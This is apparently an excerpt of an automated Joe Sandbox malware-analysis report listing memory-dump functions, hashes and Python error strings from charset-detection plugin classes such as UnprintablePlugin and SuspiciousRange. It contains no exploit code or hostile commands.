Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C45CF2

Strings

'UnprintablePlugin' object attribute '_unprintable_count' cannot be deleted, xrefs: 00007FF810C45D5C
int, xrefs: 00007FF810C45DE8
attribute '_unprintable_count' of 'UnprintablePlugin' undefined, xrefs: 00007FF810C45CE8

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'UnprintablePlugin' object attribute '_unprintable_count' cannot be deleted$attribute '_unprintable_count' of 'UnprintablePlugin' undefined$int
API String ID: 1450464846-2997357838
Opcode ID: f9ea6f04bbc0426525ab03933a70c5ba56f2a9d9ef27ec16986f1ebd5e61c596
Instruction ID: a1826e717de1b4b56be77ae61d40687f7b621843908d7e2ffe0aab478c67e339
Opcode Fuzzy Hash: f9ea6f04bbc0426525ab03933a70c5ba56f2a9d9ef27ec16986f1ebd5e61c596
Instruction Fuzzy Hash: B6315031F08E0241EB549B29ED952B93361BFA4BF4F584331DA5E8B7D5DE2CD4848B00

Function 00007FF810C47ED0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C47EF2

Strings

'CjkInvalidStopPlugin' object attribute '_wrong_stop_count' cannot be deleted, xrefs: 00007FF810C47F5C
int, xrefs: 00007FF810C47FE8
attribute '_wrong_stop_count' of 'CjkInvalidStopPlugin' undefined, xrefs: 00007FF810C47EE8

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'CjkInvalidStopPlugin' object attribute '_wrong_stop_count' cannot be deleted$attribute '_wrong_stop_count' of 'CjkInvalidStopPlugin' undefined$int
API String ID: 1450464846-420147485
Opcode ID: df477dd7859ee64a802e13b25fd5d1c0041944dd5f7069b01587edd32ad8fab5
Instruction ID: 53af15f50b80fc93ea04153f3d3f236912036f8092c459e98368ab9a1b906ac0
Opcode Fuzzy Hash: df477dd7859ee64a802e13b25fd5d1c0041944dd5f7069b01587edd32ad8fab5
Instruction Fuzzy Hash: E2316031F18E0285EF549B69EC552B923A1BF94BF0F584331EA5E8B7D5DE2CE4848B40

Function 00007FF810C486D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C486F2

Strings

int, xrefs: 00007FF810C487E8
attribute '_character_count_since_last_sep' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FF810C486E8
'ArchaicUpperLowerPlugin' object attribute '_character_count_since_last_sep' cannot be deleted, xrefs: 00007FF810C4875C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_character_count_since_last_sep' cannot be deleted$attribute '_character_count_since_last_sep' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-2037488444
Opcode ID: d852208ab282b13aeb072556d44b4af2404a876ebfa4d236b1ccb422e541ccb3
Instruction ID: 387e46833f76b362f97ccb650b85f02c2e417d1d5211c0e64ba7a8ce60ac171f
Opcode Fuzzy Hash: d852208ab282b13aeb072556d44b4af2404a876ebfa4d236b1ccb422e541ccb3
Instruction Fuzzy Hash: 9C316335B18D0281EB549B29EC612BE23A1BF54BF0F584331EA5E8B7D5DE2CD494CB00

Function 00007FF810C474F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C47512

Strings

int, xrefs: 00007FF810C47608
attribute '_foreign_long_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF810C47508
'SuperWeirdWordPlugin' object attribute '_foreign_long_count' cannot be deleted, xrefs: 00007FF810C4757C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_foreign_long_count' cannot be deleted$attribute '_foreign_long_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3135691889
Opcode ID: b67dcf9e7183cbe1b080addbba9a9c3b67a3e72344e7d722564e38e1efded3a6
Instruction ID: d1d31c6ef2f2d020bb3fecce2670eefc72dd0809fdc6d3be406ea3bcd00129ba
Opcode Fuzzy Hash: b67dcf9e7183cbe1b080addbba9a9c3b67a3e72344e7d722564e38e1efded3a6
Instruction Fuzzy Hash: C8315265B08D0241EF54DB29EC552B92361BF54BF4F584331EA5E8F7D5DE2CD4948B00

Function 00007FF810C45290 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C452B2

Strings

int, xrefs: 00007FF810C453A8
attribute '_character_count' of 'TooManySymbolOrPunctuationPlugin' undefined, xrefs: 00007FF810C452A8
'TooManySymbolOrPunctuationPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF810C4531C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'TooManySymbolOrPunctuationPlugin' undefined$int
API String ID: 1450464846-4240200891
Opcode ID: e40985d6c5593e9eb9fe51ad75694913613526f31fbf6b968cb4a40490ab1535
Instruction ID: db0741badb0b9e1158b2e39e4d559bf5ebf71c42c6dbdb455437431497c29e8f
Opcode Fuzzy Hash: e40985d6c5593e9eb9fe51ad75694913613526f31fbf6b968cb4a40490ab1535
Instruction Fuzzy Hash: C7316361B08D0251EB549F15EC512793391BFA4BF0F585331DA5E8ABE5DE6CE4948B00

Function 00007FF810C47890 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C478B2

Strings

int, xrefs: 00007FF810C479A8
attribute '_bad_character_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF810C478A8
'SuperWeirdWordPlugin' object attribute '_bad_character_count' cannot be deleted, xrefs: 00007FF810C4791C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_bad_character_count' cannot be deleted$attribute '_bad_character_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-2709777744
Opcode ID: df6fbc26de42ab459b19cbc0110033fce8aebb6e998455d6a6b6310ba2a9769e
Instruction ID: 595babb35b5ceb58482174d8526d14cec5c60bbff10a38296bc38d778dcbe0f8
Opcode Fuzzy Hash: df6fbc26de42ab459b19cbc0110033fce8aebb6e998455d6a6b6310ba2a9769e
Instruction Fuzzy Hash: 49318231B18D0281EF549B29EC552B92391BFA4BF0F884331EA5E8B7D5DE2CE484CB00

Function 00007FF810C48A90 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C48AB2

Strings

int, xrefs: 00007FF810C48BA8
'ArchaicUpperLowerPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF810C48B1C
attribute '_character_count' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FF810C48AA8

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-4184598959
Opcode ID: 6ab9503bb4666aca4676c032063b8247586ade5d232767f30ccbe63dfcf0ca50
Instruction ID: abd1ff25cdad6992e9b1e49d0acb3a24a6f93747a6bc751d767a883fc4587c95
Opcode Fuzzy Hash: 6ab9503bb4666aca4676c032063b8247586ade5d232767f30ccbe63dfcf0ca50
Instruction Fuzzy Hash: 19317261B08D0285EF549B29EC612BA2391FF54BF4F885331DA5E8B7D5DE2CE495CB00

Function 00007FF810C46880 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C468A2

Strings

int, xrefs: 00007FF810C46998
attribute '_suspicious_successive_range_count' of 'SuspiciousRange' undefined, xrefs: 00007FF810C46898
'SuspiciousRange' object attribute '_suspicious_successive_range_count' cannot be deleted, xrefs: 00007FF810C4690C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousRange' object attribute '_suspicious_successive_range_count' cannot be deleted$attribute '_suspicious_successive_range_count' of 'SuspiciousRange' undefined$int
API String ID: 1450464846-916769388
Opcode ID: 03dd1f5b64fe8aca62751509b6297b380e9eea78d489e8195dba1cd87231cfa0
Instruction ID: eff7d875d3ad45d8656b9d6f0306040b84fd221ac6c18d4cdb60e5364a4ef6d8
Opcode Fuzzy Hash: 03dd1f5b64fe8aca62751509b6297b380e9eea78d489e8195dba1cd87231cfa0
Instruction Fuzzy Hash: 86316121B18E0281EF549B29EC512B92350BF68BF4F585331DA5E8A7D9DE6CE484CB41

Function 00007FF810C458B0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C458D2

Strings

'TooManyAccentuatedPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF810C4593C
int, xrefs: 00007FF810C459C8
attribute '_character_count' of 'TooManyAccentuatedPlugin' undefined, xrefs: 00007FF810C458C8

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'TooManyAccentuatedPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'TooManyAccentuatedPlugin' undefined$int
API String ID: 1450464846-2022335554
Opcode ID: 1f9721d8b67eecb3afa0e754a0519756297b6c0979b624c1c6034fe3aa911a92
Instruction ID: c5fdf207965fd76b229198016e253f29af91308efc04f519fcce674e578636cc
Opcode Fuzzy Hash: 1f9721d8b67eecb3afa0e754a0519756297b6c0979b624c1c6034fe3aa911a92
Instruction Fuzzy Hash: 3E317221F18E0281EF549B29EC552B93391BFA4BF0F584331DA5E8B7D6DE2CD4858B40

Function 00007FF810C47AB0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C47AD2

Strings

int, xrefs: 00007FF810C47BC8
attribute '_buffer_accent_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF810C47AC8
'SuperWeirdWordPlugin' object attribute '_buffer_accent_count' cannot be deleted, xrefs: 00007FF810C47B3C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_buffer_accent_count' cannot be deleted$attribute '_buffer_accent_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-76466605
Opcode ID: 53e14972e410a0ca1394d3f3ccc424a73a854bebbeb2d5f735c2458363f1ce4f
Instruction ID: 4662a854f4b81b77341f7b14b1faf549cbcdf7ac2494bcd3c5276a976143b7c6
Opcode Fuzzy Hash: 53e14972e410a0ca1394d3f3ccc424a73a854bebbeb2d5f735c2458363f1ce4f
Instruction Fuzzy Hash: D5316425B18E0242EF549B29EC552B92391FF94BF4F585331DA5E8B7D5DE2CE4848B00

Function 00007FF810C49040 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C49062

Strings

int, xrefs: 00007FF810C49158
attribute '_isolated_form_count' of 'ArabicIsolatedFormPlugin' undefined, xrefs: 00007FF810C49058
'ArabicIsolatedFormPlugin' object attribute '_isolated_form_count' cannot be deleted, xrefs: 00007FF810C490CC

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'ArabicIsolatedFormPlugin' object attribute '_isolated_form_count' cannot be deleted$attribute '_isolated_form_count' of 'ArabicIsolatedFormPlugin' undefined$int
API String ID: 1450464846-4047731557
Opcode ID: 85dcb7072f07394d1c1cd168feb4335ba9092602e009801dab5757c4cc47181a
Instruction ID: 238731a25b16729b8a4a3888be0fe67646b02198967dc55a463e8e7d93863fbc
Opcode Fuzzy Hash: 85dcb7072f07394d1c1cd168feb4335ba9092602e009801dab5757c4cc47181a
Instruction Fuzzy Hash: D0317271B08D0281EF549B29EC552B923A1FF98BF4F485331EA5E8A7D5DE2CD491CB00

Function 00007FF810C46470 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C46492

Strings

'SuspiciousDuplicateAccentPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF810C464FC
int, xrefs: 00007FF810C46588
attribute '_character_count' of 'SuspiciousDuplicateAccentPlugin' undefined, xrefs: 00007FF810C46488

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousDuplicateAccentPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'SuspiciousDuplicateAccentPlugin' undefined$int
API String ID: 1450464846-543361526
Opcode ID: 63f717ede26ad4e578d84f648622bbd275c28ebadcd9538fab6cd6ccda790cff
Instruction ID: 2fc6cd69d11d3e6cfdefe3f6dff744ccec92ea13d67fd6708bb41a9eac18b2c4
Opcode Fuzzy Hash: 63f717ede26ad4e578d84f648622bbd275c28ebadcd9538fab6cd6ccda790cff
Instruction Fuzzy Hash: 51317461B18D0281EF54DB29EC552792361BF58BF0F885331EA5E8B7D9DE2CE4948B01

Function 00007FF810C47270 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C47292

Strings

attribute '_word_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF810C47288
int, xrefs: 00007FF810C47388
'SuperWeirdWordPlugin' object attribute '_word_count' cannot be deleted, xrefs: 00007FF810C472FC

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_word_count' cannot be deleted$attribute '_word_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-1212817586
Opcode ID: 3d0d4db036d4db32cd161c7412b43379cef5c8023ad37d06a7fac247dfad7e62
Instruction ID: d4956e405377f6c630b24de17fa05ec5c74ae38d6569607c526a4ed847420cc3
Opcode Fuzzy Hash: 3d0d4db036d4db32cd161c7412b43379cef5c8023ad37d06a7fac247dfad7e62
Instruction Fuzzy Hash: 4C318221B18D0281EF549B29EC912B92391BF55BF0F584331EA5E8B7E5DE2CE4809B40

Function 00007FF810C48010 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C48032

Strings

'CjkInvalidStopPlugin' object attribute '_cjk_character_count' cannot be deleted, xrefs: 00007FF810C4809C
int, xrefs: 00007FF810C48128
attribute '_cjk_character_count' of 'CjkInvalidStopPlugin' undefined, xrefs: 00007FF810C48028

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'CjkInvalidStopPlugin' object attribute '_cjk_character_count' cannot be deleted$attribute '_cjk_character_count' of 'CjkInvalidStopPlugin' undefined$int
API String ID: 1450464846-399339277
Opcode ID: e94c1a44bda3ebbf7a27115d3519e8fd8218744346ce46291a879dbd6f48b431
Instruction ID: c795e5c35f15a976012d4bfd6fc58917c48d4becc1296c2f8aecf321663271c2
Opcode Fuzzy Hash: e94c1a44bda3ebbf7a27115d3519e8fd8218744346ce46291a879dbd6f48b431
Instruction Fuzzy Hash: CE316461B18D0281EB549B29EC552BE23A1BF95BF0F484331DA5E8B7D5DE2CD499CB00

Function 00007FF810C45010 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C45032

Strings

int, xrefs: 00007FF810C45128
'TooManySymbolOrPunctuationPlugin' object attribute '_punctuation_count' cannot be deleted, xrefs: 00007FF810C4509C
attribute '_punctuation_count' of 'TooManySymbolOrPunctuationPlugin' undefined, xrefs: 00007FF810C45028

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_punctuation_count' cannot be deleted$attribute '_punctuation_count' of 'TooManySymbolOrPunctuationPlugin' undefined$int
API String ID: 1450464846-1459665959
Opcode ID: 9c6d55bd7a2cdbc87b7fe4598338affee6ca68b305874c45bbcfc33b22eb850b
Instruction ID: f0eee8b7f74722ec4be1a157bc04378890f5fd0ebc70c0b4e17257886ebaf938
Opcode Fuzzy Hash: 9c6d55bd7a2cdbc87b7fe4598338affee6ca68b305874c45bbcfc33b22eb850b
Instruction Fuzzy Hash: D1315235B18D0281EF549B29ECA52793351BF64BF0F984331DA5E8ABD6DE2CE4858B40

Function 00007FF810C45E10 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C45E32

Strings

int, xrefs: 00007FF810C45F28
'UnprintablePlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF810C45E9C
attribute '_character_count' of 'UnprintablePlugin' undefined, xrefs: 00007FF810C45E28

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'UnprintablePlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'UnprintablePlugin' undefined$int
API String ID: 1450464846-2596148235
Opcode ID: d2ec5060e57f277b70aecb3b41f2422d69af953067b4941699daf18bc50c8495
Instruction ID: 5c81102e82707e8b5e49af2f0cb0ef296df47f13ac35c09a2b5c284a412b02dc
Opcode Fuzzy Hash: d2ec5060e57f277b70aecb3b41f2422d69af953067b4941699daf18bc50c8495
Instruction Fuzzy Hash: 50316371B08D0241EB549B69EC552793361BF64BF4F984331EA5E8B7D5DE2CE4848B00

Function 00007FF810C48810 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C48832

Strings

int, xrefs: 00007FF810C48928
attribute '_successive_upper_lower_count' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FF810C48828
'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count' cannot be deleted, xrefs: 00007FF810C4889C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count' cannot be deleted$attribute '_successive_upper_lower_count' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-634379450
Opcode ID: 61359b9f95460c7ec499c5e0accd51359470329b922d75d77d786f43c05b5c37
Instruction ID: d18ee0c99cfe21ee644b2ffedb6b4e76eb235348074e4d889503f5bbdce436c4
